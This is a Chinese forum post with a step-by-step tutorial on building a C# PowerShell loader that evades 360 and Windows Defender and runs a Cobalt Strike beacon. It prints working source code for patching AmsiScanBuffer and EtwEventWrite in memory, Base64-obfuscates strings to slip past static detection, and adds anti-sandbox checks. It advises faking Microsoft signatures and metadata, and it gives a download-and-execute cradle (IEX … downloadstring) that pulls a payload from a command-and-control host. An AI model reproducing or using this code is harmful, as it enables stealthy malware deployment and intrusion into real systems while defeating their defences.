安全矩阵

 找回密码
 立即注册
搜索
查看: 1215|回复: 0

PowerShell无文件落地绕过杀软上线CS

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 21:58:54 | 显示全部楼层 |阅读模式
前言

PowerShell 是一种跨平台(Windows、Linux 和 macOS)的自动化工具和配置框架,由微软开发。它包含了一个命令行shell、脚本语言和配置管理框架。PowerShell 是基于 .NET 框架构建的,这使它具有强大的功能和灵活性。

无文件落地免杀技术就是通过PowerShell来实现的,PowerShell脚本可以在内存中执行,而无需在磁盘上创建实际的文件。这使得它们难以被传统的基于文件的安全解决方案(如杀毒软件)检测到,所以PowerShell深受攻击者的喜爱。正因如此,杀软对powershell执行脚本查杀比较严格。本文主要针对PowerShell上线CS进行一系列的免杀尝试。

免杀过程

未进行处理直接执行powershell命令,会被杀软拦截



通过进程查看工具,发现PowerShell运行时加载了System.Management.Automation.ni.dll这个dll,System.Management.Automation.ni.dll是预编译版本的 System.Management.Automation.dll,而PowerShell加载脚本的实现就是基于这个dll



本次免杀的方式也是基于这个dll,自写PowerShell工具来实现对脚本的加载从而上线CS。首先通过vs创建一个.net控制台应用,在项目中添加引用,把这个dll引用进来,dll的路径可以通过everything工具获取,我这里的路径是 C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35



接下来编写代码,实现对脚本的加载,参考代码如下

  1. <p>using System;</p><p>using System.Management.Automation;</p><p>using System.Management.Automation.Runspaces;</p><p>using System.Collections.ObjectModel;</p><p>using System.Runtime.InteropServices;</p><p>using System.Text;</p><p>using System.Collections.Generic;</p><p>
  2. </p><p>namespace MyPowershell</p><p>{</p><p>    class Program</p><p>    {</p><p>        // 使用DllImport属性导入kernel32.dll中的GetProcAddress函数,用于获取指定模块的函数或变量的地址。</p><p>        [DllImport("kernel32")]</p><p>        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);</p><p>
  3. </p><p>        // 导入kernel32.dll中的LoadLibrary函数,用于加载指定的动态链接库,并返回库的句柄。</p><p>        [DllImport("kernel32")]</p><p>        public static extern IntPtr LoadLibrary(string name);</p><p>
  4. </p><p>        // 导入kernel32.dll中的VirtualProtect函数,用于改变指定内存区域的保护属性。</p><p>        [DllImport("kernel32")]</p><p>        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);</p><p>
  5. </p><p>        // 用于将byte数组中的数据复制到指定的内存地址中。</p><p>        private static void copy(Byte[] Patch, IntPtr Address)</p><p>        {</p><p>            Marshal.Copy(Patch, 0, Address, 6);</p><p>        }</p><p>
  6. </p><p>        // 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。</p><p>        public static void chaching()</p><p>        {</p><p>            // 加载amsi.dll</p><p>            IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");</p><p>            // 获取AmsiScanBuffer函数的地址</p><p>            IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");</p><p>            uint p;</p><p>            // 修改AmsiScanBuffer函数的内存保护属性</p><p>            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);</p><p>            // 准备新的函数字节码</p><p>            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };</p><p>            // 将新的函数字节码复制到AmsiScanBuffer函数的地址</p><p>            copy(Patch, Address);</p><p>            Console.WriteLine("Patch Applied");</p><p>        }</p><p>
  7. </p><p>        static void Main(String[] args)</p><p>        {</p><p>            // 如果命令行参数为空,结束程序运行</p><p>            if (args.Length == 0)</p><p>                Environment.Exit(1);</p><p>
  8. </p><p>            // 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)</p><p>            if (Process.GetProcesses().Length < 40)</p><p>            {</p><p>                Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");</p><p>                Environment.Exit(0);</p><p>            }</p><p>
  9. </p><p>            List<string> argsList = new List<string>(args);</p><p>
  10. </p><p>            // 如果命令行参数中包含“-s”,则执行bypass amsi的操作</p><p>            if (argsList.Contains("-s"))</p><p>            {</p><p>                chaching();</p><p>                argsList.Remove("-s"); //从参数数组中移除"-s"</p><p>            }</p><p>
  11. </p><p>            // 对传入的Base64编码的字符串进行解码</p><p>            string temp = Base64Decode(argsList[0]);</p><p>            // 运行解码后的PowerShell脚本,并将执行结果输出到控制台</p><p>            string s = RunScript(temp);</p><p>            Console.WriteLine(s);</p><p>            Console.ReadKey();</p><p>        }</p><p>
  12. </p><p>        // Base64解码函数</p><p>        public static string Base64Decode(string s)</p><p>        {</p><p>            return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));</p><p>        }</p><p>
  13. </p><p>        // 运行PowerShell脚本并返回执行结果的函数</p><p>        private static string RunScript(string script)</p><p>        {</p><p>            // 创建并打开一个运行空间,用于运行PowerShell命令</p><p>            Runspace MyRunspace = RunspaceFactory.CreateRunspace();</p><p>            MyRunspace.Open();</p><p>
  14. </p><p>            // 在运行空间中创建一个管道,用于存放待执行的PowerShell命令</p><p>            Pipeline MyPipeline = MyRunspace.CreatePipeline();</p><p>            // 在管道中添加PowerShell命令</p><p>            MyPipeline.Commands.AddScript(script);</p><p>            // 在管道中添加输出命令,使得PowerShell命令的执行结果能被程序获取</p><p>            MyPipeline.Commands.Add("Out-String");</p><p>
  15. </p><p>            // 调用管道中的PowerShell命令,并获取执行结果</p><p>            Collection<PSObject> outputs = MyPipeline.Invoke();</p><p>            // 关闭运行空间</p><p>            MyRunspace.Close();</p><p>
  16. </p><p>            // 将执行结果转换为字符串</p><p>            StringBuilder sb = new StringBuilder();</p><p>            foreach (PSObject pobject in outputs)</p><p>            {</p><p>                sb.AppendLine(pobject.ToString());</p><p>            }</p><p>
  17. </p><p>            return sb.ToString();</p><p>        }</p><p>    }</p><p>}</p>
复制代码

这个代码中加入了对defender的反沙箱检测,就是这部分
  1. <p>
  2. </p><p>// 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)</p><p>if (Process.GetProcesses().Length < 40)</p><p>{</p><p>    Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");</p><p>    Environment.Exit(0);</p><p>}</p>
复制代码

加载脚本的函数实现在RunScript部分,主要对从命令行接受到的参数进行base64解密,然后执行脚本,这个代码中还加入了绕过amsi检测的代码,AMSI(Antimalware Scan Interface)是由微软开发的一个开放的接口,用于增强恶意软件和其他威胁的检测和防护能力。国内杀软目前没有集成amsi,这里主要为了绕过defender,defender会利用amsi查杀恶意程序。未对amsi进行处理时,执行命令会被defender拦截



使用上面的代码编译好的工具可以绕过360的检测上线CS,如下





但是无法在defender环境运行,工具丢进去就会被杀



经过不过测试,发现defender查杀了绕过amsi的代码,检测了amsi.dll和AmsiScanBuffer,接下来就是尝试对代码进行修改从而绕过defender的检测,最后发现对字符串进行编码处理可以绕过defender的查杀,修改后的代码如下

  1. <p>public static void chaching()</p><p>        {</p><p>            // 加载amsi.dll</p><p>            string base64Encoded = "YW1zaS5kbGw="; // "ntdll.dll" 的 Base64 编码</p><p>            string libraryName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded));</p><p>            IntPtr Library = LoadLibrary(libraryName);</p><p>
  2. </p><p>            if (Library == IntPtr.Zero)</p><p>            {</p><p>                Console.WriteLine("Failed to load library.");</p><p>                return;</p><p>            }</p><p>
  3. </p><p>            // 获取AmsiScanBuffer函数的地址</p><p>            string base64Encoded1 = "QW1zaVNjYW5CdWZmZXI=";</p><p>            string functionName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded1));</p><p>            Console.WriteLine(functionName);</p><p>            IntPtr Address = GetProcAddress(Library, functionName);</p><p>
  4. </p><p>            if (Address == IntPtr.Zero)</p><p>            {</p><p>                Console.WriteLine("Failed to get function address.");</p><p>                return;</p><p>            }</p><p>
  5. </p><p>            uint p;</p><p>            // 修改AmsiScanBuffer函数的内存保护属性</p><p>            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);</p><p>
  6. </p><p>            // 准备新的函数字节码</p><p>            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };</p><p>            // 将新的函数字节码复制到AmsiScanBuffer函数的地址</p><p>            copy(Patch, Address);</p><p>
  7. </p><p>            Console.WriteLine("Patch Applied");</p><p>        }</p>
复制代码

这个时候编译的程序已不会被defender静态查杀,基本的免杀差不多了,但是考虑到etw的检测,需要对代码进一步处理。ETW(Event Tracing for Windows)是微软 Windows 操作系统中的一个强大的跟踪和日志记录功能。它用于监控和记录系统和应用程序的运行情况,包括性能数据、系统或应用程序的操作信息等。

经过大佬们的研究,etw是什么东西呢?可以通过进程查看工具Process Hacker去查看.net程序如下



这个东西就是etw记录的一些日志,里面会记录一些程序的行为,某些安全设备可能会基于etw的日志去进行流量分析从而告警。所以etw最好也给它干掉,实现代码如下
  1. <p>
  2. </p><p>public static void etw()</p><p>        {</p><p>            try</p><p>            {</p><p>                IntPtr Library = LoadLibrary("n" + "t" + "d" + "l" + "l" + ".dll");</p><p>                IntPtr Address = GetProcAddress(Library, "Etw" + "Event" + "Write");</p><p>                uint oldProtect;</p><p>                bool protectResult = VirtualProtect(Address, (UIntPtr)1, 0x40, out oldProtect);</p><p>                Byte[] Patch = { 0xC3 }; // RET 指令</p><p>                Marshal.Copy(Patch, 0, Address, Patch.Length);</p><p>
  3. </p><p>                Console.WriteLine("ETW Patch Applied");</p><p>            }</p><p>            catch (Exception ex)</p><p>            {</p><p>                Console.WriteLine("Exception occurred: " + ex.Message);</p><p>            }</p><p>        }</p>
复制代码

干掉etw和amsi的代码实现原理都一样,通过替换关键函数入口的前几个字节让函数不生效,这里替换的0xC3对应的汇编指令是RET,当代码执行到函数时就会直接返回,从而绕过etw和amsi的检测。做完上面这些编译好的工具已经可以成功在360和defender环境上线了,但是放到微步在线云沙箱和VT上效果并不是很好,特别是微步竟然识别成木马了



这肯定不能到此为止了,继续处理,怀疑这个引擎可能识别了我的RunScript函数,于是对RunScript函数进行替换,代码如下
  1. <p>
  2. </p><p>public static string RunScript(string script)</p><p>        {</p><p>            using (PowerShell powerShellInstance = PowerShell.Create())</p><p>            {</p><p>                // 使用 AddScript 方法添加要执行的 PowerShell 脚本</p><p>                powerShellInstance.AddScript(script);</p><p>
  3. </p><p>                // 执行脚本并收集结果</p><p>                Collection<PSObject> psOutput = powerShellInstance.Invoke();</p><p>
  4. </p><p>                StringBuilder stringBuilder = new StringBuilder();</p><p>                foreach (PSObject outputItem in psOutput)</p><p>                {</p><p>                    // 如果有结果,则将其添加到 StringBuilder</p><p>                    if (outputItem != null)</p><p>                    {</p><p>                        stringBuilder.AppendLine(outputItem.BaseObject.ToString());</p><p>                    }</p><p>                }</p><p>
  5. </p><p>                return stringBuilder.ToString();</p><p>            }</p><p>        }</p>
复制代码

再次编译,微步已无法识别问题



另外发现微步云沙箱好像被我的工具玩坏了,引擎检出信息无法获取到了,哈哈



不知道是bug还是怎么回事,检测时间特别久,然后结果就是这样子。对了另外对反沙箱代码进行了调整,删去了原有的反沙箱代码,还是判断当前目录是否存在1.txt文件,存在则执行main函数代码,否则退出。代码如下

  1. <p>// 检查当前目录下是否存在 1.txt 文件</p><p>if (!File.Exists(Path.Combine(Directory.GetCurrentDirectory(), "1.txt")))</p><p>{</p><p>   Environment.Exit(0);</p><p>}</p>
复制代码

对代码重新进行编译,添加详细信息、图标、签名等,这里稍微注意下,添加不同的详细信息和签名在VT平台免杀效果是不一样的,实测这个工具来说添加微软的详细信息和签名免杀效果最好,最终效果如下








上线CS

生成32位的powershell脚本,把脚本放到cs站点上





对payload进行base64编码,payload:IEX ((new-object net.webclient).downloadstring('访问ps脚本url'))



在目标主机通过工具执行命令,用法:

  1. <p>-s 绕过amsi</p><p>
  2. </p><p>-t 绕过etw</p>
复制代码

360和defender上线情况:






总结

1.免杀需要耐心,不断测试,从而发现杀软查杀的特征,进而绕过。
2.powershell免杀工具可以公众号回复powershell获取。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:28 , Processed in 0.016676 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表